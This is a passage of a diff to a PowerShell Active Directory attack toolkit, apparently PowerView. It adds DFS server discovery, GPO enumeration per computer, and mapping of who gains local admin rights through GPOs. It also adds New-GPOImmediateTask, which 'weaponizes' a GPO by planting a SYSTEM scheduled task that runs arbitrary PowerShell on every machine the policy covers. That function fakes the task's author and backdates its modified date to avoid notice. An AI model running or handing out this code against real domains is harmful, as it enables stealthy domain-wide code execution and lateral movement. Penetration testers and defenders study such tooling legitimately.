$dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + #write-host $target_count + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + #write-host $target_entry_size + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + #write-host $target_state + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + #write-host $target_type + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + #write-host $server_name + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + #write-host $share_name + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + #write-host $_.Name; + #write-host $_.TargetList + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + function Get-DFSshareV1 { [CmdletBinding()] param( @@ -4965,12 +5362,15 @@ function Get-DFSshare { [String] $ADSpath, - [ValidateRange(1,10000)] + [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -4980,6 +5380,7 @@ function Get-DFSshare { $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { @@ -4992,9 +5393,22 @@ function Get-DFSshare { } } } + + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } } catch { - Write-Warning "Get-DFSshareV2 error : $_" + Write-Warning "Get-DFSshareV1 error : $_" } $DFSshares | Sort-Object -Property "RemoteServerName" } @@ -5014,10 +5428,13 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -5052,15 +5469,15 @@ function Get-DFSshare { } $DFSshares = @() - + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } - $DFSshares | Sort-Object -Property "RemoteServerName" + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique } @@ -5130,42 +5547,38 @@ function Get-GptTmpl { $SectionsFinal = @{} try { + Write-Verbose "Parsing $GptTmplPath" - if(Test-Path $GptTmplPath) { - - Write-Verbose "Parsing $GptTmplPath" + Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() - - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } - - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) } - } - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) } + } - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal } catch { Write-Debug "Error parsing $GptTmplPath : $_" @@ -5175,7 +5588,7 @@ function Get-GptTmpl { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -5198,7 +5611,6 @@ function Get-GroupsXML { .PARAMETER UsePSDrive Switch. Mount the target groups.xml folder path as a temporary PSDrive. - #> [CmdletBinding()] @@ -5239,10 +5651,8 @@ function Get-GroupsXML { process { - # parse the Groups.xml file if it exists - if(Test-Path $GroupsXMLPath) { - - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + try { + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { @@ -5308,18 +5718,20 @@ function Get-GroupsXML { } } } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } } end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } - function Get-NetGPO { <# .SYNOPSIS @@ -5334,6 +5746,10 @@ function Get-NetGPO { The GPO display name to query for, wildcards accepted. + .PARAMETER ComputerName + + Return all GPO objects applied to a given computer (FQDN). + .PARAMETER Domain The domain to query for GPOs, defaults to the current domain. @@ -5351,6 +5767,11 @@ function Get-NetGPO { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGPO -Domain testlab.local @@ -5366,6 +5787,9 @@ function Get-NetGPO { [String] $DisplayName, + [String] + $ComputerName, + [String] $Domain, @@ -5377,54 +5801,154 @@ function Get-NetGPO { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + [Management.Automation.PSCredential] + $Credential ) begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { if ($GPOSearcher) { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + + if($ComputerName) { + $GPONames = @() + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + # get the given computer's OU + $ComputerOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $ComputerOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + Write-Verbose "ComputerOUs: $ComputerOUs" + + # find all the GPOs linked to the computer's OU + ForEach($ComputerOU in $ComputerOUs) { + $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { + # get any GPO links + write-verbose "blah: $($_.name)" + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + + Write-Verbose "GPONames: $GPONames" + + # find any GPOs linked to the site for the given computer + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + } + + $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + + # use the gplink as an ADS path to enumerate all GPOs for the computer + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member Noteproperty 'ComputerName' $ComputerName + $Out + } + } + catch { + Write-Warning $_ + } + } } + else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ + } } } } } -function Get-NetGPOGroup { +function New-GPOImmediateTask { <# .SYNOPSIS - Returns all GPOs in a domain that set "Restricted Groups" - or use groups.xml on on target machines. + Builds an 'Immediate' schtask to push out through a specified GPO. - .PARAMETER GPOname + .PARAMETER TaskName - The GPO name to query for, wildcards accepted. + Name for the schtask to recreate. Required. - .PARAMETER DisplayName + .PARAMETER Command - The GPO display name to query for, wildcards accepted. + The command to execute with the task, defaults to 'powershell' - .PARAMETER ResolveSids + .PARAMETER CommandArguments - Switch. Resolve Sids from a DC policy to object names. + The arguments to supply to the -Command being launched. + + .PARAMETER TaskDescription + + An optional description for the task. + + .PARAMETER TaskAuthor + + The displayed author of the task, defaults to ''NT AUTHORITY\System' + + .PARAMETER TaskModifiedDate + + The displayed modified date for the task, defaults to 30 days ago. + + .PARAMETER GPOname + + The GPO name to build the task for. + + .PARAMETER GPODisplayName + + The GPO display name to build the task for. .PARAMETER Domain - The domain to query for GPOs, defaults to the current domain. + The domain to query for the GPOs, defaults to the current domain. .PARAMETER DomainController @@ -5435,98 +5959,308 @@ function Get-NetGPOGroup { The LDAP source to search through e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER PageSize + .PARAMETER Credential - The PageSize to set for the LDAP searcher object. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target. - .PARAMETER UsePSDrive + .EXAMPLE - Switch. Mount any found policy files with temporary PSDrives. + PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + + Create an immediate schtask that executes the specified PowerShell arguments and + push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. .EXAMPLE - PS C:\> Get-NetGPOGroup + PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force - Get all GPOs that set local groups on the current domain. + Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. #> - - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName = 'Create')] Param ( + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] [String] - $GPOname = '*', + [ValidateNotNullOrEmpty()] + $TaskName, + [Parameter(ParameterSetName = 'Create')] [String] - $DisplayName, + [ValidateNotNullOrEmpty()] + $Command = 'powershell', - [Switch] - $ResolveSids, + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPOname, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPODisplayName, + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [String] $Domain, + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [String] $DomainController, - + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [String] $ADSpath, + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] [Switch] - $UsePSDrive, + $Force, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential ) - # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + # build the XML spec for our 'immediate' scheduled task + $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' - $Memberof = $Null - $Members = $Null - $GPOdisplayName = $_.displayname - $GPOname = $_.name - $GPOPath = $_.gpcfilesyspath + if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { + Write-Warning 'Either -GPOName or -GPODisplayName must be specified' + return + } - $ParseArgs = @{ - 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - 'UsePSDrive' = $UsePSDrive - } + # eunmerate the specified GPO(s) + $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential + + if(!$GPOs) { + Write-Warning 'No GPO found.' + return + } - # parse the GptTmpl.inf 'Restricted Groups' file if it exists - $Inf = Get-GptTmpl @ParseArgs + $GPOs | ForEach-Object { + $ProcessedGPOName = $_.Name + try { + Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" - if($Inf.GroupMembership) { + # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( + if($Credential) { + Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" + $Path = $_.gpcfilesyspath.TrimEnd('\') + $Net = New-Object -ComObject WScript.Network + $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" + } + else { + $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" + } - $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + if($Remove) { + if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { + Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + } - # only return an object if Members are found - if ($Members -or $Memberof) { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { + return + } - # if there is no Memberof defined, assume local admins - if(!$Memberof) { - $Memberof = 'S-1-5-32-544' + Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + } + else { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { + return } + + # create the folder if it doesn't exist + $Null = New-Item -ItemType Directory -Force -Path $TaskPath - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} + if(Test-Path "$TaskPath\ScheduledTasks.xml") { + Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" + } + + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + catch { + Write-Warning "Error for GPO $ProcessedGPOName : $_" + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + } +} + + +function Get-NetGPOGroup { +<# + .SYNOPSIS + + Returns all GPOs in a domain that set "Restricted Groups" + or use groups.xml on on target machines. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup + + Get all GPOs that set local groups on the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [Switch] + $ResolveSids, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GPOPath - 'Filters' = $Null - 'MemberOf' = $Memberof - 'Members' = $Members + # get every GPO from the specified domain with restricted groups set + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { + + $Memberof = $Null + $Members = $Null + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs + + if($Inf.GroupMembership) { + + $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + + if(!$Members) { + try { + $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name + $Members = ($MembersRaw -split "__")[0].trim("*") + } + catch { + $MembersRaw = '' } + } + + if(!$Memberof) { + try { + $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name + $Memberof = ($MemberofRaw -split "__")[0].trim("*") + } + catch { + $Memberof = '' + } + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } + $Members = $Members | ForEach-Object { Convert-SidToName $_ } + } + + if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} + if($Members -isnot [System.Array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members } + + New-Object -TypeName PSObject -Property $GPOProperties } $ParseArgs = @{ @@ -5647,7 +6381,7 @@ function Find-GPOLocation { $TargetSid = $UserSid $ObjectSamAccountName = $User.samaccountname - $ObjectDistName = $User.distinguishedname + $TargetObjects = $UserSid } elseif($GroupName) { @@ -5660,19 +6394,19 @@ function Find-GPOLocation { $TargetSid = $GroupSid $ObjectSamAccountName = $Group.samaccountname - $ObjectDistName = $Group.distinguishedname + $TargetObjects = $GroupSid } else { - throw "-UserName or -GroupName must be specified!" + $TargetSid = '*' } if($LocalGroup -like "*Admin*") { - $LocalSID = "S-1-5-32-544" + $LocalSID = 'S-1-5-32-544' } elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $LocalSID = "S-1-5-32-555" + $LocalSID = 'S-1-5-32-555' } - elseif ($LocalGroup -like "S-1-5*") { + elseif ($LocalGroup -like "S-1-5-*") { $LocalSID = $LocalGroup } else { @@ -5681,15 +6415,16 @@ function Find-GPOLocation { Write-Verbose "LocalSid: $LocalSID" Write-Verbose "TargetSid: $TargetSid" - Write-Verbose "TargetObjectDistName: $ObjectDistName" - if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + if($TargetSid -ne '*') { + if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - # use the tokenGroups approach from Get-NetGroup to get all effective - # security SIDs this object is a part of - $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + # use the tokenGroups approach from Get-NetGroup to get all effective + # security SIDs this object is a part of + $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids - if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } + } Write-Verbose "Effective target sids: $TargetSid" @@ -5703,104 +6438,108 @@ function Find-GPOLocation { # get all GPO groups, and filter on ones that match our target SID list # and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { - if($_ -match "S-1-5") { + if($_ -match '^S-1-.*') { $_ } else { # if there are any plain group names, try to resolve them to sids - Convert-NameToSid -ObjectName $_ -Domain $Domain + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID } - } + } | Sort-Object -Unique # stop PowerShell 2.0's string stupid unboxing - if($_.members -isnot [system.array]) { $_.members = @($_.members) } - if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } - - if($_.members) { - try { - # only return groups that contain a target sid - - # TODO: fix stupid weird "-DifferenceObject" is null error - if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { - if ($_.memberof -contains $LocalSid) { - $_ - } - } - } - catch { - Write-Debug "Error comparing members and $TargetSid : $_" + if($_.members -isnot [System.Array]) { $_.members = @($_.members) } + if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + + # check if the memberof contains the sid of the local account we're searching for + Write-Verbose "memberof: $($_.memberof)" + if ($_.memberof -contains $LocalSid) { + # check if there's an overlap between the members field and the set of target sids + # if $TargetSid = *, then return all results + if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { + $_ } } } } - Write-Verbose "GPOgroups: $GPOgroups" $ProcessedGUIDs = @{} # process the matches and build the result objects $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOguid = $_.GPOName + $GPOMembers = $_.Members + + if(!$TargetObjects) { + # if the * wildcard was used, set the ObjectDistName as the GPO member sid set + $TargetObjects = $GPOMembers + } if( -not $ProcessedGUIDs[$GPOguid] ) { $GPOname = $_.GPODisplayName $Filters = $_.Filters - # find any OUs that have this GUID applied + # find any OUs that have this GUID applied and then retrieve any computers from the OU Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { if($Filters) { # filter for computer name/org unit if a filter is specified # TODO: handle other filters? - $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { $_.adspath -match ($Filters.Value) } | ForEach-Object { $_.dnshostname } } else { - $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName - $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers - $GPOLocation + ForEach ($TargetSid in $TargetObjects) { + + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 